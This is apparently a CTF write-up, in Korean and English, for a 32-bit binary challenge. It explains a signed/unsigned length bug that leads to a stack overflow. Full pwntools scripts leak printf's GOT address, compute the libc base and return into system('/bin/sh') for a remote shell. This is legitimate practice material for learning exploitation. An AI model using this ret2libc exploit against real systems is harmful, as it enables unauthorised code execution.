void vuln(void)
{
char local_30 [32];
int local_10;
printf("How many bytes do you want me to read? ");
get_n(local_30,4);
local_10 = atoi(local_30);
if (local_10 < 0x21) {
printf("Ok, sounds good. Give me %u bytes of data!\n",local_10);
get_n(local_30,local_10);
printf("You said: %s\n",local_30);
}
else {
printf("No! That size (%d) is too large!\n",local_10);
}
return;
}
vuln, 취약점이 발생한다는 뜻으로 쓰인다.
여기서는 get_n 으로 얼마나 입력받을것인지 숫자를 입력받고,
0x21만큼 작으면 입력한 숫자만큼 입력을 받는다.
조건에 맞을때 출력되는 printf 문을 보면, 입력한 숫자를
%u (unsigned int) 로 출력해준다.
그말은, -1 을 입력했을때, 최상위 비트를 부호비트로 사용하지않고,
그냥 숫자를 표현하는 비트를 사용함으로써 -1 이 아닌 최대값이 출력된다.
출력만 저렇게 되는거 아닌가 ? 생각하실수도 있습니다.
void get_n(int param_1,uint param_2)
{
char cVar1;
int iVar2;
uint local_10;
local_10 = 0;
while( true ) {
iVar2 = getchar();
cVar1 = (char)iVar2;
if (((cVar1 == '\0') || (cVar1 == '\n')) || (param_2 <= local_10)) break;
*(char *)(param_1 + local_10) = cVar1;
local_10 = local_10 + 1;
}
*(undefined *)(local_10 + param_1) = 0;
return;
}
실제 get_n 함수를 보면, int 가 아닌 uint 로 인자를 받기때문에
출력된 숫자만큼 입력을 받게됩니다.
주어진 바이너리파일에는 쓸만한 함수가 없기에
printf_got 를 leak 해서 libc database 에서 검색해봅시다.
#r=process("./pwning")
r=remote("ctf.j0n9hyun.xyz",3019)
context.log_level="debug"
b=ELF("./pwning")
pay=""
pay+='x'*0x2c
pay+='x'*4
pay+=p32(b.plt['printf'])
pay+=p32(b.symbols['vuln'])
pay+=p32(b.got['printf']) #print atoi
r.sendline('-1')
r.recvuntil('!\n')
r.sendline(pay)
r.recvuntil('\n')
printf=u32(r.recv(4))
log.info(hex(printf))
leak code is here!
now we can find offset of the system and '/bin/sh' string
there is
libc6-i386_2.23-0ubuntu10_amd64 and
libc6-i386_2.23-0ubuntu11_amd64
but don't worry, they have the same offset
( Sometimes, there is the bug can't type Korean. S0rry )
so, first, leak printf_got and get the address of libc-base
second, add it to system and '/bin/sh' string offset
Last, return again to vuln() function
and then system() function
from pwn import *
#r=process("./pwning")
r=remote("ctf.j0n9hyun.xyz",3019)
context.log_level="debug"
b=ELF("./pwning")
pay=""
pay+='x'*0x2c
pay+='x'*4
pay+=p32(b.plt['printf'])
pay+=p32(b.symbols['vuln'])
pay+=p32(b.got['printf']) #print atoi
r.sendline('-1')
r.recvuntil('!\n')
r.sendline(pay)
r.recvuntil('\n')
base=u32(r.recv(4))-0x49020
log.info(hex(base))
system=0x3a940+base
binsh=0x15902b+base
pay2=""
pay2+='x'*0x2c
pay2+='x'*4
pay2+=p32(system)
pay2+=p32(0x11111111)
pay2+=p32(binsh)
r.sendline('-1')
r.sendline(pay2)
r.interactive()